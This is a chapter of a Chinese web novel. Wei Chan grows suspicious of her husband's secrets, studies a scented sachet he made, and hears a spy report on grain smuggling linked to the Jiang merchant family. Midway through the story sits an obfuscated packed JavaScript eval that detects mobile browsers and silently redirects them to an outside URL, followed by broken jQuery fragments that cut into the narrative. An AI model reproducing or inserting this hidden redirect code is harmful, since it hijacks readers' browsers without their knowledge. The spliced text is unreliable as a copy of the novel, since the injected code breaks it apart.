60. 生疑

作品:《替魂夫君甘为金丝雀

    那日的剑舞女子,转身多了个“范郡守家表小姐”的身份,魏婵并不感到意外,也没有去查探其身份真假的兴趣。更重要的永远是棋子背后操控者的目的。


    先前她本要顺意将剑舞女子放在身边,也好多一条反向探查的路子,可惜姬月承万分抵触,便搁置了下来。


    若是进献美人仅为娱乐主公,那么当主公一时歇了意思后,正常来讲,万不会再几次三番设计、接近。


    范明晦会有此作为,正说明其心中有鬼。


    虽不知姬月承何意要对她隐瞒,但有空隙的网才能捕到鱼,不如放置任流,看看剑舞女子背后之人想从镇北侯身上探到怎样的消息,又或者是引导传达怎样的想法。


    擦干身体后,魏婵撇开朱晏安,裹着浴袍转入屏风后换衣,先是襕衫,再是夹袄、下衫,外层是絮了衬里的碧色男式圆领袍,在腰间戴上革带收束利落。


    随后,拾起旁边置物架上随手放的素钗,将散落的发丝拢起,随手一转一勾,挽了个简洁的锥髻。


    往常这般就结束了,不过今日,魏婵看向置物架,上面的衣服已经取完,伶仃地落下一个崭新的香囊,暮蓝色为底,上面绣了一只银色圆月,并几枝金桂。


    晨练结束后,她去房内取衣衫准备沐浴时,姬月承还在床榻内酣眠,而这枚荷包就放在备好的衣服的最上方。


    魏婵一向不喜侍女服侍,凡事亲力亲为。她会在前一晚将次日要穿的衣衫叠放在衣柜的最外侧,姬月承知道这一习惯后,每每会在征得她的首肯后,帮她将衣服准备好。


    他第一次这么做时,魏婵曾拒绝过,他羞涩却少有的坚持。


    他说,这是夫郎的义务。


    所以,当看到这枚荷包的时候,她便知道,这是他送她的礼物,或许还是他亲手做的,毕竟自来了怀安城后,他还没去街上逛过。


    也不知姬月承是放了什么东西,香囊里透着淡淡的雪一般的冷冽香气,她不反感。


    ---


    从屏风后转出来后,朱晏安恰也穿戴整齐,往那一站,身姿挺拔,跟个抽条的小白杨似的。


    头上则依旧是圈着红发带的双丫髻,只不过是她自己梳的,没有让洗墨帮忙。自从来到魏婵身边后,她勤练武艺,练得多吃得好,身高抽得快,主意也越发正了,不爱洗墨对她管东管西。


    见到魏婵,她眼睛一亮,开心道:“魏姐,你还没出去哇~是在等我吗?”


    魏婵:“……今早练得不错,朝食多吃些。若份例的肉菜不够吃,记得说。”


    对小孩的关心是真的,但魏婵当然不会闲到专门等她,只是方才稍微耽搁了片刻,至于耽搁的原因……只有她自己知道。


    “魏姐~~”朱晏安一脸感动地上前抱住她的腰,夸张地说道,“离了我魏姐,谁还关心我吃得饱不饱~~~”


    “咦?有股淡淡的香味儿。”


    朱晏安咦了一声,嗅嗅鼻子,看向魏婵腰间革带上的悬挂之物,随后一副恍然大悟的样子,揶揄道:“魏姐,这肯定是姐夫给你做的吧~昨天我喊姐夫出来玩儿的时候,在门缝里看见了房里桌上放着香囊片呢,没想到姐夫一个男子,居然也会做女红。”


    “哎,成亲了就是好,还有人给绣香囊~”


    魏婵将小孩从自己身上“解”下来,“晏安,你以为女红为何称之为‘女’红?”


    “大家都这么叫的呀。而且绣衣服、做鞋袜这些东西都是女子的活计,所以就叫女红咯。”


    “你是这般想,天下人俱是这般想,包括你可能会嫁的男子。”魏婵将她的小手摊开在自己的掌中,那稚嫩的手中,因为每日的勤奋晨练,留下了几枚明显的茧子。


    “到那时,你要握住手中刀剑,还是去捏一把绣花针。”


    “当然是刀剑武器!就算成亲了,我肯定还是想干什么就干什么,谁也别想管得了我小霸王!”朱晏安毫不犹豫地答道。


    魏婵看着朱晏安,道,“然,这世界如此,你若顺着它的规则,便定会落入它的陷阱。”


    若非在姬月承记忆中看到了世界的另一个可能。也许终其一生拼尽全力,她也只能在这个既有的世界里,扭曲地活着。


    如果是那样,她依旧会按计划走出藏珠院,获得身体的自由,但她的不忿、愤怒、疯狂,永远找不到出口。


    那样的未来,仅仅想想,也让人不寒而栗。


    朱晏安不解地偏了偏头。


    “不懂也没关系,这不是你一个孩子需要担忧的事情。”魏婵拍拍她的后背,“走吧。”


    “嘿嘿~~虽然我没完全听懂,但是我可不是好糊弄的!”朱晏安昂首挺胸道,“我要是成亲,肯定得找个漂亮又听话的,我让他往东他不能往西!”


    魏婵被她的话逗笑,摇摇头:“如此男子,世间少有。”


    “姐夫不就是嘛?”朱晏安道,“虽然少,但肯定还是有的,要是找不到我就不成亲了!”


    魏婵觑了她一眼,挑眉道:“以姬月承为标准,那恐怕你当真是找不到了。”


    姬月承能有如今的性子,正是因为他并非这个世界的人。魏婵对此再清楚不过。


    “也是,嘿嘿,那就到时候再说吧。”朱晏安笑着挠挠头,将成亲这档子事抛诸脑后。


    “不过魏姐,姐夫天生丽质,人还贤惠,万一,我说万一噢,那个剑舞的女子真喜欢上姐夫,然后……你就不怕姐夫真的被抢走吗?”


    “抢了便抢了。”魏婵随意道。


    此时两人出了浴室外间的门,魏婵没再回应朱晏安的震惊疑惑,自往正堂的房间走去。


    朝食的一应饭菜已经摆在了桌上,还是跟在藏珠院时的习惯一样,不用侍从随侍,只有她与姬月承两人。


    姬月承虽起得晚,但每每都能在她到来前,坐在桌前等候。


    见到她来,姬月承站起身来迎接,待看到她腰间果真挂了自己昨日绣的香囊,脸上浮上一片红晕。


    “婵姐姐,快坐。”姬月承双手拉着她的胳膊往座位上带,坐下后,他不住地往魏婵碗里夹菜,自己却吃得猫儿一般的少。


    他从前吃的就不多,只魏婵饭量的一半,而今日所食几乎连往常的一半都没有。


    魏婵道:“你饭量越发见少,可是对涿州本地的菜吃不惯?”


    厨娘是从府上带来的,但所用之原材料等,也得在怀安城里采购,各地水土不同原材料自是与望辰城的略有差别。


    姬月承摇摇头,乖巧道:“没有的,只是没什么胃口。”


    魏婵道,“可是这几日去粥棚累着了?不若休息几日。”


    姬月承正打算在饭后与她说,今日不去粥棚的事情,未料魏婵竟先提了此事。他心中又是甜蜜感动又有不安。


    他低下头,手指放在膝上握紧,“婵姐姐,我看起来很憔悴吗?”


    “怎么会。”魏婵伸手自下颌处托起他的脸,白狐毛领遮住了脖子上的红印,一团洁白的毛绒之上,其面若玉,其眉如弯月,琼鼻高挺,嘴唇嫣红,只眉宇略有郁色,不知为何故。


    “很漂亮。”


    她仔细地端详,目光坦荡又专注。


    姬月承被她的目光所摄,然一想到自己对着婵姐姐隐瞒的事情,他心头一空,感到不堪又愧疚。


    于是他侧过头去,试图躲开魏婵的眼神,而摩挲着他脸颊的魏婵的手不期然落了空,他的一句心音同时传到魏婵脑中,【婵姐姐……对不起。】


    “婵姐姐,还是先吃饭吧。”他掩饰道,匆匆拾起汤匙往口中递。


    “好,上午韩烟照旧会来汇报,需要你一同出席;下午你在家中好好休息,我有事要办,就不在家里陪你了。”


    “嗯。”姬月承小鸡啄米般点了下头。


    “觉得闷了就出去走走,郡守府后院面积不小,除了鹤年苑外,能逛的地方很多。”


    “嗯。”姬月承继续点头。


    “等有空时,要我陪你去怀安城里逛一逛吗?”


    “嗯。”他仍旧点头,明显地心不在焉。


    魏婵眉心下压,眼神变得冷淡。


    ——魏姐……你就不怕姐夫真的被抢走吗?


    ——抢了便抢了。


    初见时的剑舞未被打动,但不代表着再见、三见...永远不会动心。


    姬月承或许会真的中计,移情别恋。


    得知他有所隐瞒,又在早上听到朱晏安的汇报时,魏婵不是没想过这个可能。


    但抢了便抢了。


    这是她推演后得出的结论。


    爱是什么了不起的东西么?


    自从前那个真正的姬月承,口口声声打着爱的名义,剥夺她的一切时,她便知道,“爱”是天底下最最自私的谎言。


    与自由与权力相比,爱于她一文不值。


    姬月承初来时候,魏婵尚对他了解不多,自然收拢得紧一些。


    而现在,他如一张白纸般摊开在她的面前,一无理政野心,二无理政之才。


    这样的他,想要坐稳镇北侯的位置,绝不可能缺了她的幕后操控。


    不过,他确实是个很合她心意的伴侣。


    今日里里外外穿的每件衣服,都是先前制衣所裁制冬衣时,姬月承为她选的料子和样式。


    而她还将穿着这身,接见镇北侯直属的寒雁部密探,批阅属国朝臣递送给主公镇北侯的折子。


    昨日他还亲手给她做了香囊,在床上也几近迎合讨好。


    这样的他,隐瞒了她一件事情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115385|187414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而她所知道的,他没有告诉自己的事情已经有三件,一件是昨日险被灾民袭击,一件是在城外丢下众人独自跑开,一件是剑舞女前来拜访。


    他要掩饰什么?


    魏婵面无表情,将他方才夹入碗中的菜一口一口咬断、嚼碎、咽下,吞入腹中。


    一个男子的心而已,抢了便抢了。她想。


    但为了掌控他,让他乖乖当好她的傀儡,她会在必要时查清楚,以免任何变故发生。


    ---


    如魏婵所说,朝食后约半个时辰后,寒雁部首领韩烟来此密报。


    在确定灾民来自梧郡后,寒雁部可自由调配的游雁们,便有一部分被派往梧郡与怀安城之间联通的要道上,另一部分派去梧郡各地。


    前者观察灾民走势,定期会有消息回报。据观察,如今往怀安城来的灾民日渐稀少,这点在城门外的录名处亦有对照。人数最多的那个阶段已经过去,整体灾民数量基本会维持在当前万人出头的水平。


    后者则在调查梧郡旱灾发生后的民况,以此查验大量梧郡灾民选择逃来怀安城的原因。


    寒雁部探查时,魏婵尚未得知杨小草所言路上凭空出现的运粮车,线索渺茫,故而在梧郡的游雁们,对民况查探范围极广,包括但不限于,旱灾具体持续时间、各地区乡县的应对情况、以及粮米价格变化等。


    而今,恰在与粮米铺子有关的方面有了突破。


    韩烟呈上几封密信,汇报道:“据先前派出的游雁密信,梧郡首府乃至周边至少六个乡县的粮米铺中,都有来自怀安城的粮商向他们走私米粮。”


    镇北属国政治、军事、经济均独立于大烨朝之外,属国的生意人要向王畿治下的郡县做生意,需要向属国,以及所往郡县两边缴纳税务,如若不缴,便算走私。


    魏婵翻看了几眼姬月承递过来的信件,问道:“走私开始于旱灾前,还是之后。”


    韩烟照例先看姬月承再答道:“禀夫人,是在旱灾之后,当时梧郡各地粮价大涨,近从前的三四倍。”


    魏婵道:“近从前的三四倍……如此高价,就算缴足了税务,也能赚的盆满钵满。除却走私的,可还有正经与梧郡做买卖的涿郡粮商?”


    韩烟回道:“禀夫人,如您所说,确实也有,然数量极少,游雁们排查后发现,来自怀安城的米源中,只有一家是正经路子供应的,其他供应者俱为走私。”


    魏婵问:“可查出了供应的源头?”


    韩烟答:“正经做生意的那家查出来了,走私的那些……行踪隐蔽,与当地人交易时透露的都是假名假姓,游雁们追查后,一无所获。”


    “查出来的那家是谁?”


    “怀安城最大的粮商——蒋家。”韩烟道。


    “蒋家?可是与涿郡仓曹孙道态,有姻亲关系的那个蒋家?”


    魏婵脑海中闪过一个尖嘴猴腮的脸,即在望辰城内意图拐走朱晏安的蒋蟠*。


    在官仓失粮后,主管官粮的仓曹孙道态,以及城门使,这两个直接负责人一同被郡守范明晦下了大牢。


    事关官员,所以下属的游雁们追查到此后,韩烟令其再深一步调查清楚后再汇报,目前这层姻亲关系,尚未在密信上提报。


    韩烟没料到魏婵已经知道了此事,愣了一下,随后点头道:“正是。”


    “蒋氏粮铺经营上百年,其与王畿治下各郡的粮米交易也有十几年了,旱灾后其加大了粮米供应,但一应走的明路。


    “而且奇怪的是,粮价还在涨,蒋家却在旱灾没多久后突然中断了供应。甚至连旱灾前的一些老主顾也不再做交易。”


    韩烟今日的汇报,补全了很多信息,魏婵脑中的猜测逐渐清晰。


    在粮价三四倍的暴利下,仍选择走私,若非太贪婪,便是米粮来路不正。


    而正经做买卖的蒋家,突然行为有变,与之有姻亲关系的仓曹孙道态恰好是被认定为官粮丢失一事的主要责任人。


    事情会这么巧吗?


    看来有必要听一听仓曹孙道态本人的说法了。


    最好还是悄悄的,让范明晦等人不要察觉。


    说来,昨日那个意图袭击姬月承的人,未听晏安说受了杖责,那么大约还未正式受刑,如今应该也被关入了郡守府衙的大牢。


    去牢狱中,惩治冒犯镇北侯的嫌犯。这倒是个不惊动范明晦的不错借口。


    魏婵想。


    只不过如此一来,下午的行程要做下更改了。既然颐清待得如此闷,不如就让她代替着去探探那个麻姑的情况吧。


    劳动王颐清,也是因为魏婵并不打算在事项明了前,贸然让寒雁部知晓麻姑。


    毕竟,寒雁部是镇北侯的直属,并非真正属于她的势力。